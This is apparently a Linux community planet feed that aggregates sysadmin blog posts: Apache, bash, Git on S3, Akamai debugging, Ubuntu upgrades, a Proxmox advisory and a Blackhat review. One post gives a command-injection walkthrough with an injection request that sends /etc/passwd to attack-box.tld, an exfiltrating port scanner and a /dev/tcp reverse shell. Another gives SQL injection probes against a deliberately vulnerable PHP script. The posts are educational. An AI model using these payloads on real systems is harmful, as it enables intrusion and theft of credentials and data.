Planet ALDIL

janvier 12, 2012

Frédéric Logier - fredix

Centralisation des logs Windows vers Linux via syslog

[Article publié sur linuxfr.org] Intro Lorsqu’on gère un parc de serveur qui comprend malheureusement des serveurs Windows, on souhaite centraliser leurs logs, voir même recevoir des alertes en fonction du contenu. C’est simple à faire sous Linux avec rsyslog, avec lequel je transmets les syslogs vers l’excellent Graylog2. Par contre dans le monde Windows il n’y [...]

jeudi 12 janvier 2012 20:10

janvier 02, 2012

Encolpe DEGOUTE

De l’efficacité de Pacitel.fr

Pour rappel, Pacitel est censé vous protéger du démarchage téléphonique non sollicité (Présentation de Pacitel). Cette association crée sous l’impulsion des pouvoirs publics contient une liste de numéros qui ne veulent pas être contactés pour quelques raisons que ce soit par téléphone pour un sondage ou pour une vente. Ayant remarqué depuis septembre que mon [...]

lundi 02 janvier 2012 23:32

novembre 22, 2011

Alexandre De Dommelin - Laotseu

Apache : Inject HTTP response header in a rewrited URL using environment variable

I've spent a few hours looking for a way to inject HTTP response headers in a rewrited URL directly from the Apache configuration.

Here's the trick, in the RewriteRule just set a environment variable, ie: "addheader".
But unfortunately, this one can't be used as-is as a condition in the "Header" directive. In this case you'll need to rely on the presence / absence of the "REDIRECT_addheader" :

RewriteEngine On
RewriteRule ^([A-Z]{2})_([a-z]{2})$  /rewrite.php?a=$1&b=$2 [L,E=addheader:1]
Header set my-header "myvalue" env=REDIRECT_addheader

mardi 22 novembre 2011 20:11

novembre 19, 2011

Alexandre De Dommelin - Laotseu

Puppet Talk @ Journées du Logiciel Libre 2011

Here are the slides of the talk I've given at Journées du Logiciel Libre yesterday in Lyon (Download)

Présentation Puppet Journées du Logiciel Libre 2011
View more presentations from Alexandre De Dommelin.

samedi 19 novembre 2011 10:31

octobre 19, 2011

Alexandre De Dommelin - Laotseu

Parse .ini files with bash and sed

Here's a very cool way to parse ini files inside a shell script.
The following snippet will declare variables in the current scope of your script from all the key/values pairs present in the matching section.

#!/bin/bash
CONFIG_FILE="config.ini"
SECTION="section_1"

eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \
    -e 's/;.*$//' \
    -e 's/[[:space:]]*$//' \
    -e 's/^[[:space:]]*//' \
    -e "s/^\(.*\)=\([^\"']*\)$/\1=\"\2\"/" \
    $CONFIG_FILE \
    | sed -n -e "/^\[$SECTION\]/,/^\s*\[/{/^[^;].*\=.*/p;}"`

mercredi 19 octobre 2011 18:41

août 26, 2011

Stéphane Salès - stephs

Il vaut mieux être riche et en bonne santé que pauvre et malade

Un petit tour de vis

Les plus belles planques de la République - Capital.fr

Dans un contexte de crise et de chasse aux déficits publics, ce favoritisme passe de plus en plus mal dans l’opinion, comme l’a montré l’affaire Ferry. Certes, en signant à tour de bras des décrets nommant ses protégés dans la haute fonction publique, Nicolas Sarkozy ne fait que perpétuer la pratique du «tour extérieur», largement répandue sous Mitterrand et Chirac. «Après tout, il est normal d’ouvrir les grands corps à d’autres profils que les énarques, commente le député socialiste René Dosière, grand pourfendeur des gaspillages de l’Etat. Mais encore faudrait-il que les personnalités choisies possèdent les compétences requises.»

vendredi 26 août 2011 22:00

Terrorism in the U.S. Since 9/11

Schneier on Security: Terrorism in the U.S. Since 9/11

John Mueller and his students analyze the 33 cases of attempted [EDITED TO ADD: Islamic extremist] terrorism in the U.S. since 9/11. So few of them are actually real, and so many of them were created or otherwise facilitated by law enforcement.

vendredi 26 août 2011 22:00

août 16, 2011

Stéphane Salès - stephs

The Larry Page's nasty sense of humour

Suck on it, AppleSoft - Google pulls a rope-a-dope - Real Dan Lyons Web Site

As for those crazy bids in the Nortel auction - that was just a way to leave a little "fuck you" in the paperwork for Google's pals in Redmond and Cupertino to look back upon. That move is pure Larry Page. This is a smart, hyper-competitive guy with a mean streak and a nasty sense of humor. Kara Swisher recently compared him to Bill Gates, and now I see why. Page is turning out to be a better CEO, and more fun to cover, than anyone could have imagined.

mardi 16 août 2011 22:00

août 01, 2011

Alexandre De Dommelin - Laotseu

Using Amazon S3 to store private Git repositories

Here's a solution to use Amazon S3 to store private Git repositories using jGit.
First, you need to install Java Runtinme, Git (openjdk-6-jre and git packages in Debian) and download jGit :

sudo wget -O /usr/local/bin/jgit "http://download.eclipse.org/jgit/maven/org/eclipse/jgit/org.eclipse.jgit.pgm/1.0.0.201106090707-r/org.eclipse.jgit.pgm-1.0.0.201106090707-r.sh"
sudo chmod +x /usr/local/bin/jgit
Create Access Keys in your Amazon Web Services Console and add them to your ~/.jgit file :
echo "accesskey: your_access_key" > ~/.jgit
echo "privatekey: your_private_key" >> ~/.jgit
chmod 600 ~/.jgit
You also need to create a S3 bucket, let's call it "my_git".

Initializing repo & pushing to S3
cd ~/hack/project_name/
git init
git remote add s3 amazon-s3://.jgit@my_git/project-name.git
git add *
git commit -m "Initial Commit" -a
jgit push s3 master
Cloning repository from S3
cd ~/tmp/
jgit clone amazon-s3://.jgit@my_git/project-name.git
Updating
jGit doesn't support merge or pull so do it in 2 steps :
cd ~/tmp/project-name/
jgit fetch
git merge origin/master
As you can see, jGit is only used when interacting with S3, standard git commands are still used otherwise.

lundi 01 août 2011 16:03

juillet 24, 2011

Alexandre De Dommelin - Laotseu

Troubleshooting Akamai delivery - Getting Headers using curl

I'm playing with Akamai everyday and regularly have to analyze / debug objects delivery.
Here's a way of getting useful informations about how Akamai is handling requests & objects delivery using curl :

$ curl -I -H "Pragma: akamai-x-cache-on, akamai-x-cache-remote-on, akamai-x-check-cacheable, akamai-x-get-cache-key, akamai-x-get-extracted-values, akamai-x-get-nonces, akamai-x-get-ssl-client-session-id, akamai-x-get-true-cache-key, akamai-x-serial-no"

By aliasing this command in your shell, usage is simple (ie the homepage Facebook logo) :

$ akcurl http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png
HTTP/1.1 200 OK
Content-Length: 2209
Content-Type: image/png
Last-Modified: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: 
Cache-Control: public, max-age=17729726
Expires: Wed, 15 Feb 2012 02:30:08 GMT
Date: Sun, 24 Jul 2011 21:34:42 GMT
X-Cache: TCP_MEM_HIT from a212-243-221-243 (AkamaiGHost/6.5.0.2-8185567) (-)
X-Cache-Key: /L/749/27754/28d/static.facebook.com/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png
X-True-Cache-Key: /L/static.facebook.com/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png
X-Akamai-Session-Info: name=PARENT_SETTING; value=TD
X-Serial: 749
Connection: keep-alive
X-Check-Cacheable: YES

dimanche 24 juillet 2011 23:41

juillet 16, 2011

Alexandre De Dommelin - Laotseu

12th Annual System Administrator Appreciation Day

SysAdminDay

Friday, July 29, 2011, is the 12th annual System Administrator Appreciation Day. On this special international day, give your System Administrator something that shows that you truly appreciate their hard work and dedication. (All day Friday, 24 hours, your own local time-zone).

In case, I've updated my thinkgeek wishlist :-)

samedi 16 juillet 2011 16:59

juin 29, 2011

Stéphane Salès - stephs

L'enfer c'est les autres

Le risque de l'individualisation de l'internet - Blogs InternetActu.net

Cette étude montrait qu'en 9 ans, alors qu'un consensus scientifique s'établissait sur le changement climatique, la part des républicains pensant que la terre se réchauffait passait de 49 % à 29 %, celle des démocrates de 60% à 70 % ...

mercredi 29 juin 2011 22:00

juin 08, 2011

Stéphane Salès - stephs

Eva Joly abrogeraIT Hadopi et Loppsi "dès la première semaine"

Eva Joly abrogera Hadopi et Loppsi "dès la première semaine"

Eva Joly abrogeraIT Hadopi et Loppsi "dès la première semaine" .. bon forcément il est facile de faire des promesses quand on est sur de ne pas avoir à les tenir (chérie si je gagne au loto je t'emmène aux Seychelles) mais bon si elle est élue chez les verts et que ces derniers font un bon score elle aura peut-être un certain poids pour faire du lobying auprès du prochain président.

mercredi 08 juin 2011 22:00

mai 23, 2011

Alexandre De Dommelin - Laotseu

Remote Command Injection - Playing with /dev/tcp

Important note : this article is for educational purpose only ...
When pentesting web applications, you can sometimes found remote command injection vulnerabilities. These vulnerabilities exist when user input is not properly sanitized and used, inside, for example, PHP functions such as exec(), system() ... here's a stupid example of vulnerable code :

<?php
/*
 * Stupid example
 */

function create_dir($dir) {
        @exec('mkdir /var/tmp_storage/'.$dir, $out, $ret);
}

// call my vulnerable function
create_dir( $_GET['dir'] );
?>

In this case, you can see that $_GET['dir'] is injectable, but no output will be returned to user. Considering that you can't create any file into the DocumentRoot of the vulnerable site, and that you can't upload your own binary (netcat for example), here's a good way to exploit /dev/tcp capabilities to send everything you want to another server and much more.

What is /dev/tcp ?
/dev/tcp is a Bash built-in which can be used to create a TCP socket on which you can interact using regular IO redirections. Usage / Exploitation
Put netcat in listen mode on a remote box "attack-box.tld" on a given port (4444 here)
$ nc -klvp 4444
listening on [any] 4444 ...
Then, send a crafted request on the vulnerable file :
% curl -I 'http://www.victim.tld/create_dir.php?dir=%2f%3B%20bash%20-c%20%22cat%20%2fetc%2fpasswd%3E/dev/tcp/attack-box.tld/4444"'
HTTP/1.1 200 OK
Content-type: text/html
Date: Mon, 23 May 2011 19:45:08 GMT
Server: Apache 

You can immediately see on "attack-box" the following output, the victim's /etc/passwd file :
$ nc -klvp 4444
listening on [any] 4444 ...
connect to [xxx.xxx.xxx.xxx] from www.victim.tld [yyy.yyy.yyy.yyy] 37216
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
postfix:x:101:105::/var/spool/postfix:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
[...]
More fun ...
You can also use /dev/tcp properties to create a basic port-scanner, which can send to your box the results :
port=1;
ip=192.168.142.12;
while [ $port -lt 1024 ];
do
  echo > /dev/tcp/$ip/$port;
  [ $? == 0 ] && echo "Found ${ip}:${port} opened" >> /tmp/ports;
  port=`expr $port + 1`;
done;
cat /tmp/ports > /dev/tcp/attack-box.tld/4444;
Or also use it to bring up a quick reverse-shell :
$ bash -i >& /dev/tcp/attack-box.tld/4444 0>&1

Of course, for those 2 examples, you need a nc listening on "attack-box.tld" ...

lundi 23 mai 2011 22:01

mai 02, 2011

Encolpe DEGOUTE

Problème de wifi avec Ubuntu Natty 11.04 avec les Acer ou les cartes Atheros

Depuis mon dernier article j’ai cherché une solution à mon problème de Wifi et après plusieurs recherches j’ai fini par trouver plusieurs messages pertinents qui ne résolvait pas le problème pour autant. Il m’était impossible d’activer le wifi que ce soit sous GNOME ou sous KDE et que ce soit avec une carte interne ou une clé USB Wifi.

Mon problème venait manifestement d’un pilote pour acer (acer-wmi) et pas d’un pilote des cartes wifi internes et externes que j’ai testé. Par contre d’autres utilisateurs expérimentent un problème liés aux chipsets Atheros et en particulier le pilote ath5x.

Les liens en anglais :

  1. Regression latest kernel breaks my Atheros AR5001 wifi

  2. [Natty] [Kubuntu] Cannot enable wireless in Network Manager plasmoid

En Français 2 fils de discussion qui donne la solution pour chacun des problèmes :

  1. ACER => [Résolu] Atheros 9287 ne se connecte pas sur Ubuntu 11.04
  2. Atheros => Wifi indisponible sur Vaio VPCYA1V9E avec 11.04

Pour tous les problèmes de Wifi je vous conseille de faire un tour sur le Forum Wifi de votre distribution avant de vous lancer dans des recherches fastidieuses sur le net.


lundi 02 mai 2011 14:02

avril 14, 2011

Encolpe DEGOUTE

Test de Ubuntu Natty 11.04

En bon geek je ne pouvais pas attendre la date officielle de publication de la prochaine version de la distribution linux Ubuntu : la Natty 11.04. J’avais besoin de me faire une idée sur le fonctionnement de Firefox 4 et de WebGL par exemple, ainsi que de voir si mon matériel était mieux supporté (pilote wifi récalcitrant et pilote de la tablette Wacom bamboo à installer à la main). Une particularité de mon système est d’utiliser une partition racine  et un swap chiffrés avec dm-crypt. Seule une petite partition /boot est accessible sans le chiffrage. L’autre est que j’utilise KUbuntu… les goûts et les couleurs ne se discutent pas !

Mise-à-jour vers natty

La mise-à-jour n’étant pas encore proposé par le système il faut changer la configuration à la main. J’ai donc choisi la manière sans finesse en changeant tous les ‘maverick‘ en ‘natty‘ dans le fichier /etc/apt/sources.list et dans les fichiers présents dans le répertoire /etc/apt/sources.list.d/. Cela peut créer des erreurs lors de la mise-à-jour de la liste des paquets mais cela permet de voir qui anticipe les nouvelles versions et qui ne le fait pas.

Pour lancer la migration il ne reste que 2 commandes à lancer :

sudo apt-get update
sudo apt-get dist-upgrade

Seul le dépôt de Virtualbox ne possède pas encore de version en natty parmi tout ceux qui sont activés dans ma configuration.

Sur les plus que 4000 paquets installés plus de 2500 sont à mettre à jour soit 3Go de données à télécharger et 1G0 de plus sur le disque à la fin de la procédure. J’ai peu être la mémoire courte mais je ne me souviens pas avoir eu une mise-à-jour aussi importante aussi bien en terme de nombre de paquets qu’en terme de quantité à télécharger.  Le téléchargement a duré 2 heures sans accrocs.

A part pour la mise à jour de la glibc et le redémarrage des services aucune question ne m’a été posée. Il a fallu que je relance la procédure une deuxième fois à cause du paquet halevt qui a fait une erreur. C’est un paquet optionnel donc je l’ai supprimé et la procédure est arrivé à son terme après 2 heures de travail.

Redémarrage et tests

Un petit moment de tension au moment du redémarrage : est-ce que mes partitions  dm-crypt vont être prises en charge correctement ? Mauvaise surprise : l’écran reste noir mais le système semble être lancé ! Je tape le mot de passe et l’écran s’allume enfin… sans doute un problème de framebuffer au démarrage. L’interface se lance correctement et me demande de changer de type de session : la session KDE n’existe plus il faut choisir ‘KDE Plasma Desktop‘. Le pilote graphique propriétaire a été désactivé lors de la mise-à-jour et le pilote libre rame toujours autant. La réactivation du pilote propriétaire prend 2 minutes mais nécessite un redémarrage. Même écran noir que précédemment pour la saisie du mot de passe en aveugle. Pas franchement pratique. De plus l’interface graphique démarre avant que la partition swap soit débloquée ce qui fait qu’il faut tuer la demande de mot de passe en court à coup de kill -9 avant de la relancer.

Firefox 4 est plus rapide à démarrer mais pas forcément plus léger en mémoire au bout de plusieurs heures d’utilisation. Sans doute un problème avec Flash ou Java toujours très gourmand. Mon test de WebGL est un échec : les pilotes mesa et ATI ne sont pas supportés par firefox 4. Pour le moment seul les pilotes nvidia permettent d’utiliser ce mode. Vous pouvez essayer ici pour les curieux : http://helloracer.com/webgl/.

La tablette Wacom Bamboo est reconnue sans aucun problème… si elle est branchée avant le démarrage de l’interface. Ce n’est pas très plug and play mais cela suffira pour le moment. Le Wifi gèle encore la machine au bout d’un certain temps.

Ce fut long mais pas laborieux. Il reste encore quelques points à revoir (wifi, dm-crypt pour le swap) mais cette nouvelle version est globalement satisfaisante. Vivement la version finale à la fin du mois.


jeudi 14 avril 2011 12:02

avril 09, 2011

Alexandre De Dommelin - Laotseu

Optimizing website performance using lighttpd mod_compress and /dev/shm

Lighttpd allows output compression for static files using gzip (RFC1952), deflate (RFC1950, RFC1951) and bzip2 through mod_compress. As major HTTP clients now supports content compression, and announce it to webservers using the "Accept-Encoding" HTTP header, compressing content before sending it is a good way to reduce network load and improve the overall throughput of the webserver.

Lighttpd needs a cache folder to store compressed data, so in order to improve performance, we will use /dev/shm as storage point. /dev/shm appears as a mounted fs but instead of using a physical partition, he relies on virtual memory. Here is the relevant part of the config (/etc/lighttpd/lighttpd.conf):

server.modules              = (
        [...]
        "mod_compress",
        [...]
)

compress.allowed-encodings = ("gzip", "deflate")
compress.cache-dir          = "/dev/shm/lightty_compress/"
compress.filetype           = ("text/plain","text/css","text/xml","text/javascript","text/html","application/javascript")
The cache folder will be automatically created on lightty startup. This setup is quite basic (compression of CSS, JS & HTML files), but covers my needs (no dynamic language such as PHP). Let's see the difference with and without output compression :

Without output compression
without output compression

With output compression
with output compression

No more comments needed :-)

samedi 09 avril 2011 15:31

mars 31, 2011

Alexandre De Dommelin - Laotseu

[Security Advisory] Multiple vulnerabilities in PVE Manager

I want to warn you about multiple vulnerabilities (Cross-Site Scripting & Cross-Site Request Forgery) I've found into Proxmox Virtual Environment Manager. Proxmox is an Open Source virtualization platform for running Virtual Appliances and Virtual Machines (OpenVZ & KVM).

These vulnerabilities can be exploited by an attacker to trigger actions (CT shutdown, removal ...) on targetted PVE Manager.

Product affected Proxmox Virtual Environment Manager
Versions affected <= 1.7
Details Persistant XSS in CT "Note" Field (WASC-08)
Multiple CSRF in various forms, can lead to force CT shutdown ... (WASC-09)
Disclosure Timeline 2011-03-16 : Identified vulnerabilities
2011-03-21 : Informed vendor (Dietmar Maurer @ promox com )
2011-03-22 : Provided additional informations to vendor
2011-03-25 : Patch applied by vendor
2011-03-30 : New Proxmox Release
2011-03-31 : Disclosed at my site
Mitigation Upgrade to the latest version (1.8-15)

jeudi 31 mars 2011 19:01

mars 21, 2011

Alexandre De Dommelin - Laotseu

Blackhat Europe 2011 - Briefings review



Just coming back from my week at Barcelona, Spain where I came to attend Blackhat Europe Briefings & Trainings.
It was my first BH, and I must admit that it was what I expected : fun, very interesting and instructive.

Many tracks sounds very interesting (see schedule), it was quite hard to make a choice, but I end up with the following :

[core attacks] New Age Attacks Against Apple's iOS (and Countermeasures)
Speaker : Nitesh Danjani
This talks started with two numbers : 100 million iPhones & 15 million iPads sold. These impressive results are mainly due to well-designed hardware and very intuitive software. The reality now is that with 15 billion apps downloaded, more and more users are storing personal data, and that, in corporate environments, they are becoming to store confidential informations (email ...).
iOS uses URLSchemes (protocol handlers) to link requests between applications which is quite common, however, except for "tel:/", no confirmation is prompted, so it's quite easy to make iOS-based devices to start applications remotely for example using an iframe in a web page :

<iframe src="gtalk://justin_bieber"></iframe>
In this case, the user will be connected to Justin Bieber without any confirmation :-)
This example is not (?) harmless, but the author said that a lot of URLSchemes are undocumented because they were added for testing purposes ... but still available on prod. Nitesh made a demo about the "skype://" handler forces the user to place a Skype Call. This "payload" is included into BeEF, so a simple XSS vulnerability is enough.
This is only one of the issue of which developers should care :
[app dissection] HTTP Parameter Pollution Vulnerabilities
Speaker : Marco Balduzzi
Web has evolved from static pages to complex applications, and 60% of the attacks are now web-apps targeted. Everybody knows about injections flaws such as SQL Injections, XSS, CSRF and many tools are available to detect and/or mitigate them. HTTP Parameter Pollution (HPP) is still less known (first presentation was made in 2009).
HTTP allows parameters to provided multiple times, and depending of the server-side language the parameter precedence is handled differently, so inserting "%26param%3Dvalue" into one of the variable can lead to overriding existing (harcoded) values.
HPP can also to be used for Cross-Channel pollution, when parameters can be provided from multiple sources (POST, GET, Cookie...). He also gave an example of CSRF token bypass on Yahoo! Mail, and, remember that if parameters are concatenated, it can be very useful to bypass WAF protections ...
Marco developed an online tool (python + firefox extension) to analyse websites for HPP vlunerabilities called PAPAS.
Popular websites were analysed (5016 websites in 15 days more than 149 000 unique pages) and found that 30% of them were vulnerable (not necessaraly exploitable). 14% (702) were found as exploitable where injected parameter override existing parameter or accepted as a new one.
Examples : the main Google site could be manipulated to produce search results different from the intended results, WHO main website to display different content, Facebook share button, AETV online shop to force people buying another product instead of the one they choose.

[app dissection] Web applications security payloads
Speaker : Andres Riancho
This talk was about w3af. w3af stands for Web Application Attack and Audit Framework. The project's goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend. This project is OpenSource (GPLv2), is easily extensible using plugins, and, since 07/2010 have full-time development resources due to Rapid7 sponsoring.
2 interfaces are available, CLI & GUI.
Post exploitation in web applications flaws requires to change our mindset, because we are generally restricted to one or few functions (readfile() ...), that's where w3af comes in. The author developped plugins to exploit the read permission to achieve and automate actions on a vulnerable system : The last one is becoming very powerful because of another plugin : php_sca a static code analyzer which allows to automatically parse dumped source code to find other vulnerabilities such as SQL Injections & OS commanding. It's still in early stage but the demo was very impressive and get applause from the conference room.

[app dissection] SAP : Session (fixation) Attacks & Protections
Speaker : Raul Siles
HTTP is a stateless protocol, so session management have to be implemented into by developers themselves.
Session Fixation is different from Session Hijacking : in this case the attacker don't have to steal session ID from the victim, but will fix HIS session ID into the victim to get its privileges. The attacker sets up a session with a website, but does not log on. He then tricks a user into log in using the same session ID. As the session gets elevated, both the attacker and victim get the authenticated state.
The speaker remembers that social engeneering is not the only way to fix session ID on the victim (XSS, SQLi, MiTM ... are also a good way).
Working examples were demonstrated (flaws discovered by the speaker) : To conclude : Session ID MUST be renewed every time the privileges level changes.

[keynote] Cyberwar
Speaker : Bruce Schneier
We have the honor to listen Bruce Schneier talking about Cyberwar, better than a long speach, you can download the keynote here.

[workshop] A taste of the latest Samurai Web Testing Framework
Speaker : Justin Searle
This workshop was directed by Justin Searle one of the founder of Samurai WTF.
This live CD, based on Ubuntu is a pentest distribution similar to BackTrack but targeted to web applications. Usage of many tools were shown, was interesting but didn't learned a much. However, I've found a good project to contribute :-).

[infrastructure rationale] Building Floodgates: Cutting-Edge Denial of Service Mitigation
Speakers : Yuri Gushin / Alex Behar
The 2 speakers are researchers in DoS mitigation techniques.
DoS attacks are becoming prevalent these times, and most of big attacks succeded (Wikileaks, Mastercard ...).
Different types of DoS presented : DoS mitigation techniques : More sophisticated detection can be based on using 2-dimensions, for example DNS requests v.s. HTTP requests.
Some active mitigation techniques were shown : Then they presented their new tool : Roboo - HTTP Robot Mitigator (available @ www.ecl-labs.org).
This is a nginx module written in Perl based on a Challenge/Response mechanism, released under an OpenSource licence.
It responds to GET/POST requests from unverified source with a challenge. This challenge is JS or Flash based (optionnaly gzip'ed), to which only a real browser with full HTTP, HTML, JS and/or Flash stack can answer. Then a cookie is set and the traffic is marked as verified.

A demo was made attacking a protected website (the attack was made using LOIC - Low Orbit Ion Canon, the tool used to attack Wikileaks), and comparing the pcap with a "real request" made by a browser ... seems to work well.
The module allows you to provide IP ranges whitelist (in order let, for example, Google Bots indexing your website).

[infrastructure rationale] You are Doing it Wrong: Failures in Virtualization Systems
Speaker : Claudio Criscione
Virtualization aims to save money, make things simple and quick to deploy. Saving money and quick deployment are enemies of security :-)
Securing the hypervisor is, of course, very important, you must not be able to jump from one VM to another, but securing the management interface is very important too ! And it seems that this part is quite forgotten by vendors. The speaker announce that in 5 man days, he founds 18 "0-days".
Even simple bugs like XSS are problematic in virtualisation management interface, he made a demo of one in VMWare vCenter which took 1.5 year to patch ! He also with that introduced VASTO a metasploit module which allow to exploit various flaws in virtualization management interface.
The next demo was done against VMWare vSphere client using VASTO ... the client maintains a debug logfile containing SOAP Session ID worlwide readable, so you just have to read this file, extract the ID and start the expoit from metasploit to get administrative privileges on the virtualization infrastructure without beeing prompted for any password.

He then introduced VASTOKeeper, a PoC based on apache/mod_security to define which communication is allowed between the management solution and the virtual machines where you can define which actions a user can execute on a virtual infrastructure regardless of his or her authentication level.
It will generate a network configuration file and a mod_security configuration file that will prevent certain actions for propagating from vCenter to ESXi.

[infrastructure rationale] Monoculture - the other side
Speaker : Damir Rajnovic
This talk was made by Gaus from the Cisco PSIRT, which tried to demonstrate that buying equipement from different vendors can't conduct to improve security.
He shows examples I didn't approved like that there are a lot of similar flaws in GNU/Debian Linux & Red Hat so that we can conclude that those 2 projects are quite linked and so suggested that using different distributions wouldn't help, and that buying from different vendors should lead to the same result.

See you next year !

Some photos (Blackhat & BCN)

lundi 21 mars 2011 20:43

février 13, 2011

Alexandre De Dommelin - Laotseu

Upgrade to nanoblogger 3.4.2

Upgrade to nanoblogger 3.4.2 done ! :-)

dimanche 13 février 2011 14:15

février 12, 2011

Alexandre De Dommelin - Laotseu

Using pbuilder inside OpenVZ Container (/dev/fd/62 issue)

I'm now building my Debian packages inside an OpenVZ container, 2 days ago I've faced a strange issue while trying to use pbuilder :

% svn-buildpackage --svn-ignore-new --svn-builder='pdebuild'
Importing layout information via Subversion properties... 
        tagsUrl: svn+ssh://svn.debian.org/svn/pkg-perl/tags/libauth-yubikey-decrypter-perl
        trunkUrl: svn+ssh://svn.debian.org/svn/pkg-perl/trunk/libauth-yubikey-decrypter-perl
        upsTagUrl: svn+ssh://svn.debian.org/svn/pkg-perl/branches/upstream/libauth-yubikey-decrypter-perl
        upsCurrentUrl: svn+ssh://svn.debian.org/svn/pkg-perl/branches/upstream/libauth-yubikey-decrypter-perl/current
Complete layout information:
        buildArea=/home/adedommelin/debian/libauth-yubikey-decrypter-perl/build-area
        origDir=/home/adedommelin/debian/libauth-yubikey-decrypter-perl/tarballs
        tagsUrl=svn+ssh://svn.debian.org/svn/pkg-perl/tags/libauth-yubikey-decrypter-perl
        trunkDir=/home/adedommelin/debian/libauth-yubikey-decrypter-perl/libauth-yubikey-decrypter-perl
        trunkUrl=svn+ssh://svn.debian.org/svn/pkg-perl/trunk/libauth-yubikey-decrypter-perl
        upsCurrentUrl=svn+ssh://svn.debian.org/svn/pkg-perl/branches/upstream/libauth-yubikey-decrypter-perl/current
        upsTagUrl=svn+ssh://svn.debian.org/svn/pkg-perl/branches/upstream/libauth-yubikey-decrypter-perl
fakeroot debian/rules clean || die
dh clean
   dh_testdir
   dh_auto_clean
   dh_clean
/home/adedommelin/debian/libauth-yubikey-decrypter-perl/build-area/libauth-yubikey-decrypter-perl-0.07 exists, renaming to /home/adedommelin/debian/libauth-yubikey-decrypter-perl/build-area/libauth-yubikey-decrypter-perl-0.07.obsolete.0.421696468795748
 mkdir -p /home/adedommelin/debian/libauth-yubikey-decrypter-perl/build-area/libauth-yubikey-decrypter-perl-0.07/lib /home/adedommelin/debian/libauth-yubikey-decrypter-perl/build-area/libauth-yubikey-decrypter-perl-0.07/t 3 more arguments>
 cp --parents -laf Changes debian/copyright MANIFEST debian/rules debian/compat lib/Auth/Yubikey_Decrypter.pm debian/control META.yml debian/changelog 8 more arguments>
chmod -R u+r+w+X,g+r-w+X,o+r-w+X -- /home/adedommelin/debian/libauth-yubikey-decrypter-perl/build-area/libauth-yubikey-decrypter-perl-0.07
/bin/sh -c pdebuild 
/usr/bin/pdebuild: line 39: /dev/fd/62: No such file or directory
Command '/bin/sh -c pdebuild ' failed in '/home/adedommelin/debian/libauth-yubikey-decrypter-perl/build-area/libauth-yubikey-decrypter-perl-0.07', how to continue now?

It seems that /dev/fd/* aren't created inside a CT, one simple worakround is :

% sudo ln -s /proc/self/fd /dev 

And hop, everything's ok :-)

samedi 12 février 2011 10:01

février 06, 2011

Alexandre De Dommelin - Laotseu

Debian 6.0.0 codename Squeeze is out !

After two years of intense work, the Debian project has published a new stable release.
Some useful links :

Also take a few minutes to check the Official Website for the new design.

dimanche 06 février 2011 13:35

janvier 31, 2011

Alexandre De Dommelin - Laotseu

Yubikey Squirrelmail Plugin - PHP 5.3 compatibility patch

I'm using the Yubikey Squirrelmail Plugin but this one is currently not PHP 5.3 compatible, so I've decided to patch it.
The following patch has been sent to the development team for inclusion in the trunk.

Here is it :

--- Yubikey.php.orig    2011-01-31 20:54:28.000000000 +0100
+++ Yubikey.php 2011-01-31 20:58:02.000000000 +0100
@@ -314,11 +314,11 @@
                if ( !( $parts = @parse_url( $url ) ) ) return false;
                else {
                        if ( $parts['scheme'] != "http" && $parts['scheme'] != "https" ) return false;
-                       else if ( isset($parts['host']) && !eregi( "^[0-9a-z]([-.]?[0-9a-z])*.[a-z]{2,4}$", $parts['host'], $regs ) ) return false;
-                       else if ( isset($parts['user']) && !eregi( "^([0-9a-z-]|[_])*$", $parts['user'], $regs ) ) return false;
-                       else if ( isset($parts['pass']) && !eregi( "^([0-9a-z-]|[_])*$", $parts['pass'], $regs ) ) return false;
-                       else if ( isset($parts['path']) && !eregi( "^[0-9a-z/_.@~-]*$", $parts['path'], $regs ) ) return false;
-                       else if ( isset($parts['query']) && !eregi( "^[0-9a-z?&=#,]*$", $parts['query'], $regs ) ) return false;
+                       else if ( isset($parts['host']) && !preg_match( "/^[0-9a-z]([-.]?[0-9a-z])*.[a-z]{2,4}$/i", $parts['host'], $regs ) ) return false;
+                       else if ( isset($parts['user']) && !preg_match( "/^([0-9a-z-]|[_])*$/i", $parts['user'], $regs ) ) return false;
+                       else if ( isset($parts['pass']) && !preg_match( "/^([0-9a-z-]|[_])*$/i", $parts['pass'], $regs ) ) return false;
+                       else if ( isset($parts['path']) && !preg_match( "/^[0-9a-z\/_.@~-]*$/i", $parts['path'], $regs ) ) return false;
+                       else if ( isset($parts['query']) && !preg_match( "/^[0-9a-z?&=#,]*$/i", $parts['query'], $regs ) ) return false;
                }
                return true;
        }

lundi 31 janvier 2011 19:12

janvier 30, 2011

Alexandre De Dommelin - Laotseu

FOSDEM 2011 : D-5 !

I'm going to FOSDEM, the Free and Open Source Software Developers' European Meeting
and you ?

dimanche 30 janvier 2011 14:32

décembre 29, 2010

Alexandre De Dommelin - Laotseu

Incident

incident will be reported

Source XKCD

mercredi 29 décembre 2010 08:39

décembre 15, 2010

Alexandre De Dommelin - Laotseu

SQL Injection - Bypassing filters

For the following examples we'll use this basic vulnerable PHP script:

// DB connection
$id = $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);
 
$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");
 
if($data = @mysql_fetch_array($result))
    echo "Welcome ${data['name']}";

Note: the webapplication displays only the name of the first row of the sql resultset.

Warmup
Lets warm up. As you can see the parameter "id" is vulnerable to SQL Injection. The first thing you might want to do is to confirm the existence of a SQLi vulnerability:
?id=1 and 1=0-- -
?id=1 and 1=1-- -

You also might want to see all usernames by iterating through limit (x):
